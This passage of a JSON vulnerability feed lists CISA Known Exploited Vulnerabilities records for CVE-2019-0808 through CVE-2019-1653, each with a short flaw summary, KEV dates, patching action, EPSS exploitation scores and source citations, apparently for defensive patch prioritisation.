instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.53017,"percentile":0.98969,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0808&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0808","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0808 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0808&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0808, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0859","cveId":"CVE-2019-0859","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"Microsoft Win32k fails to properly handle objects in memory causing privilege escalation. Successful exploitation allows an attacker to run code in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04151,"percentile":0.90792,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0859","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0859 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0863","cveId":"CVE-2019-0863","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Error Reporting (WER) Privilege Escalation Vulnerability","summary":"Microsoft Windows Error Reporting (WER) contains a privilege escalation vulnerability due to the way it handles files, allowing for code execution in kernel mode.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.05207,"percentile":0.92435,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0863","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0863 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11510","cveId":"CVE-2019-11510","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability","summary":"Ivanti Pulse Connect Secure contains an arbitrary file read vulnerability that allows an unauthenticated remote attacker with network access via HTTPS to send a specially crafted URI.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure","stacks":["Ivanti","Pulse Connect Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99995,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11510&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11510","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11510 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11510&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11510, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11539","cveId":"CVE-2019-11539","aliases":[],"kind":"vulnerability","title":"Ivanti Pulse Connect Secure and Policy Secure Command Injection Vulnerability","summary":"Ivanti Pulse Connect Secure and Policy Secure allows an authenticated attacker from the admin web interface to inject and execute commands.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Ivanti","product":"Pulse Connect Secure and Pulse Policy Secure","stacks":["Ivanti","Pulse Connect Secure and Pulse Policy Secure"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98544,"percentile":0.99921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11539&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11539","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11539 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11539&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11539, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11580","cveId":"CVE-2019-11580","aliases":[],"kind":"vulnerability","title":"Atlassian Crowd and Crowd Data Center Remote Code Execution Vulnerability","summary":"Atlassian Crowd and Crowd Data Center contain a remote code execution vulnerability resulting from a pdkinstall development plugin being incorrectly enabled in release builds.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Crowd and Crowd Data Center","stacks":["Atlassian","Crowd and Crowd Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95355,"percentile":0.99866,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11580&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11580","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11580 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11580&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11580, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-11634","cveId":"CVE-2019-11634","aliases":[],"kind":"vulnerability","title":"Citrix Workspace Application and Receiver for Windows Remote Code Execution Vulnerability","summary":"Citrix Workspace Application and Receiver for Windows contains remote code execution vulnerability resulting from local drive access preferences not being enforced into the clients' local drives.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"Workspace Application and Receiver for Windows","stacks":["Microsoft Windows","Citrix NetScaler","Citrix","Workspace Application and Receiver for Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.08091,"percentile":0.94777,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-11634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-11634","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-11634 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-11634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-11634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1214","cveId":"CVE-2019-1214","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Common Log File System (CLFS) Escalation Vulnerability","summary":"Microsoft Windows Common Log File System (CLFS) driver improperly handles objects in memory which can allow for privilege escalation.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01419,"percentile":0.72618,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1214&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1214","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1214 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1214&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1214, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1215","cveId":"CVE-2019-1215","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"Microsoft Windows contains an unspecified vulnerability due to the way ws2ifsl.sys (Winsock) handles objects in memory, allowing for privilege escalation. Successful exploitation allows an attacker to execute code with elevated privileges.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.19254,"percentile":0.97316,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1215","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1215 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-13608","cveId":"CVE-2019-13608","aliases":[],"kind":"vulnerability","title":"Citrix StoreFront Server XML External Entity (XXE) Processing Vulnerability","summary":"Citrix StoreFront Server contains an XML External Entity (XXE) processing vulnerability that may allow an unauthenticated attacker to retrieve potentially sensitive information.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"StoreFront Server","stacks":["Citrix NetScaler","Citrix","StoreFront Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30041,"percentile":0.98196,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-13608&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-13608","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-13608 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-13608&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-13608, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1367","cveId":"CVE-2019-1367","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability in how the scripting engine handles objects in memory. Successful exploitation allows for remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.52449,"percentile":0.98956,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1367&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1367","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1367 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1367&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1367, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1429","cveId":"CVE-2019-1429","aliases":[],"kind":"vulnerability","title":"Microsoft Internet Explorer Scripting Engine Memory Corruption Vulnerability","summary":"Microsoft Internet Explorer contains a memory corruption vulnerability which can allow for remote code execution in the context of the current user.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer","stacks":["Microsoft","Internet Explorer"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7729,"percentile":0.99552,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1429&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1429","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1429 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1429&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1429, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-15752","cveId":"CVE-2019-15752","aliases":[],"kind":"vulnerability","title":"Docker Desktop Community Edition Privilege Escalation Vulnerability","summary":"Docker Desktop Community Edition contains a vulnerability that may allow local users to escalate privileges by placing a trojan horse docker-credential-wincred.exe file in %PROGRAMDATA%\\DockerDesktop\\version-bin\\.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Docker","product":"Desktop Community Edition","stacks":["Docker and containers","Docker","Desktop Community Edition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.48628,"percentile":0.98863,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-15752&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-15752","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-15752 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-15752&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-15752, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-15949","cveId":"CVE-2019-15949","aliases":[],"kind":"vulnerability","title":"Nagios XI Remote Code Execution Vulnerability","summary":"Nagios XI contains a remote code execution vulnerability in which a user can modify the check_plugin executable and insert malicious commands to execute as root.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"Nagios","product":"Nagios XI","stacks":["Nagios","Nagios XI"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.77039,"percentile":0.99546,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-15949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-15949","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-15949 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-15949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-15949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-16256","cveId":"CVE-2019-16256","aliases":[],"kind":"vulnerability","title":"SIMalliance Toolbox Browser Command Injection Vulnerability","summary":"SIMalliance Toolbox Browser contains an command injection vulnerability that could allow remote attackers to retrieve location and IMEI information or execute a range of other attacks by modifying the attack message.","detail":"CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2021-11-03","updatedAt":null,"regions":["Global"],"vendor":"SIMalliance","product":"Toolbox Browser","stacks":["SIMalliance","Toolbox Browser"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2021-11-03","dueAt":"2022-05-03","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04949,"percentile":0.92103,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-16256&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-16256","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2021-11-03","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-16256 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-16256&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-16256, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1653","cveId":"CVE-2019-1653","aliases":[],"kind":"vulnerability","title":"Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability","summary":"Cisco Small Business RV320 and 